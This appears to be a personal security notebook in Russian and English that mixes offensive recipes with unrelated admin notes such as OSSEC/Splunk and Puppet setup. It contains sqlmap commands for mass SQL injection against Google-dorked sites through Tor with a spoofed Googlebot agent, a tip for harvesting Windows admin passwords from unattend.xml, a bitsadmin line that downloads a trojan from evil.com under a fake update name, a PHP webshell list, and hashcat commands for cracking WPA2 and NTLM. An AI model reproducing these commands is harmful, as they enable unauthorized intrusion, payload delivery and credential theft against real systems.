sqlmap [google dork] mass attack

sqlmap -g "dork" --batch --beep --dbs --random-agent

sqlmap -u "site" --dbs --batch --beep --tor --check-tor --tor-type=SOCKS5

sqlmap --tor --tor-type=SOCKS5 -u "http://www.hackable.org/view_section.php?id=10" --user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

OTX

a91ed8e8bdc2d3d7fcc36f26d5c1b919266e3e6ed1a4a0e720ab960a49efb1e9

[ OSSEC + Splunk ] config/install

On Splunk:

Example install Splunk:

rpm -Uvh splunk-5.0.2-149561-linux-2.6-x86_64.rpm

Install ossec module into splunk

nano /opt/splunk/etc/system/default/inputs.conf

[udp://192.168.10.109:10002] # OSSEC server IP
disabled = false
sourcetype = ossec

OR

[ один из путей получения пароля админа windows ]

Metasploit есть специальный модуль для постэксплуатации: post/windows/gather/enum_unattend

расположение файлов:

C:\Windows\Panther\unattend.xml или Autounattend.xml

C:\Windows\Panther\Unattend\unattend.xml или Autounattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml

"У каждой крупной компании есть типовая задача: покупаются новые компью-

теры, и на них надо установить Windows и дополнительное ПО, настроить. Есть

несколько официальных подходов к автоматизации этого процесса, но их под-

робности для нас не особенно важны. Интересно лишь то, что при установке

ОС необходимо указывать различные параметры и они задаются с помощью

специального файла. Причем если задается пароль для пользователя (локаль-

ного админа), то содержится он в этом файле в плейнтексте (максимум —

в Base64). Иногда этот файл может быть оставлен в файловой системе Windows.

Таким образом, обладая лишь пользовательским доступом в ОС, мы можем

поискать этот специальный файл и узнать, нет ли в нем пароля. Воистину easy hack!"

ЗАКАЧАТЬ ФАЙЛ В WINDOWS С ПОМОЩЬЮ BITS

bitsadmin /transfer myjob /download http://evil.com/trojan.exe c:\Windows\Temp\kb123456.exe

"Представим себе типичную ситуацию: через какую-то уязвимость мы по-
лучили возможность удаленно выполнять команды на сервере с Windows.
Высоких привилегий в ОС у нас нет, и порты зафильтрованы на внешнем
файрволе. Подошел бы вариант с бэк-коннект шеллом, но ведь надо зака-
чать наш шелл в ОС. И если под *nix-системы существует куча разных воз-
можностей, то с виндой труднее. Можно, конечно, использовать FTP-кли-
ент или скрипт WSH, но эти варианты требуют многострочных действий,
что часто бывает проблемой из-за ограничений уязвимости, которая дает
RCE.
Оказывается, Windows еще со времен XP хранит в себе интересную
тулзу — bitsadmin."

https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx

APT 2015 [SAMPLE] [FAMILY/UA + MORE INFO]

ADDED	TYPE	FAMILY	METHOD	URI	SAMPLE	PCAP	UA + MORE INFO
2/8/2015	APT	DarkKomet		8EA4AB05FA7E D573BA5A4EFFC3FB629308will vary - encrypted keep alive or other data	Sample	pcap	LibrarySsheet
2/8/2015	APT	PlugX / Korplug / Gulpix	POST	/update?id=	Sample Sample2	pcap	LibrarySsheet
2/7/2015	APT	Windata		XYZ/WinData.DLL?HELO-STX-1*10.0.0.15*RemotePC*[MAC:00-55-28-11-21-23 XYZ/WinData.DLL?HELO-STX-1*1[IPAddress]*[ComputerName]*0605[MAC:[MacAddress]]$	Sample		LibrarySsheet
2/4/2015	APT	Pingbed	GET	/default.htm

PHP web shell list

• P.A.S. v.3.0.10 by profexer (копия 3.0.10, копия 3.0.4b)
• WSO 2.5.1 shell by Orb (копия 2.5.1, копия 2.5 )
• D.K Shell v1.0 by b47chguru & Lnx Root for ICF (копия 1.0)
• b374k-shell Jayalah Indonesiaku (копия 2.8)
• Antichat shell
• c99 shell
• CIH.[ms] webshell
• Loader’z WEB shell
• r57shell
• rgod`s webshell
• phpRemoteView
• Perl Web Shell by RST GHC rootvn

waidps - Wireless Auditing , Intrusion Detection & Prevention System [ WIFI IDS IPS ]

git clone https://github.com/SYWorks/waidps



Part 1 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion.html
Part 2 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion_24.html
Part 3 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion_25.html

Wireless Auditing, Intrusion Detection & Prevention System

puppet [start]

1. Server:
sudo apt-get install -y puppetmaster

2. Client:
sudo apt-get install -y puppet

3. Client config /etc/puppet/puppet.conf:
[agent] server = mysuperserver node_name = cert certname = nameofworkstation 

mysuperserver - domain name (DNS server/ hosts file)

4. Test on client station:

puppet agent --test

5. Accept cert request:
puppet cert sign nameofworkstation

puppet cert --list (server cert request list)

6. on client run:
puppet agent --enable

puppet agent --test

oclHashcat WPA2/NTLM

1. Нам нужен .cap файл ,,пойманый хендшейк,, , но есть проблема Hashcat-guy не принимает такой вид файла ему нужен .hccap
(не вапрос идем на оф сайт хешката и конвертим из .cap >>.hccap ) Convert

2. Словари и атаки :
Тут нам нужен актуальный словарик который имеет пароли больше чем 8 символов как мы знаем wpa/wpa2 хеш пас начинается с восмизнака . Такие словари можно скачать и у нас на форуме и в паблике их много , но я бы вам советовал сделать свой личный словарик на гига 2-4 .

2.1 Полный перебор и команды:
?u?- обозначает буквы верхнего регистра = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?l? - обозначает буквы нижнего регистра = abcdefghijklmnopqrstuvwxyz
?s?- обозначает символы = !”#$%&'()*+,-./:;??@[\]^_`{|}~
?d?- обозначает цифры = 0123456789

Пример маскаи брута : ?l?l?d?d?s?s?u?u? >>>> 8 характеров mm28!@ab
на видео показан приамер брута по словарю , аналогично , выбираем метод брут-форс , прописываем в поле ?l?l?l?l?l?l?l?l? нашу маску , и ждем результата ....

cudaHashcat64.exe -m 2500 -a 3 c:\Hacking\wireless\tp-link.hccap ?l?l?l?l?l?l?l?l

или по словарю

cudaHashcat64.exe -a 0 -m 2500 -o "G:\HashcatGUI_0281\found.txt" --outfile-format=3 -n 16 -u 128 --gpu-temp-abort=90 --gpu-temp-retain=80 "G:\HashcatGUI_0281\!Cracked\1.hccap" "G:\!WordList\!!N1\passlist_16.txt"

NTLM

cudaHashcat64.exe -t 32 -m 1000 -a 3 ntlm.hash ?a?a?a?a?a?a?a -i --increment-min=7 --increment-max=7 -o=hashresults.txt pause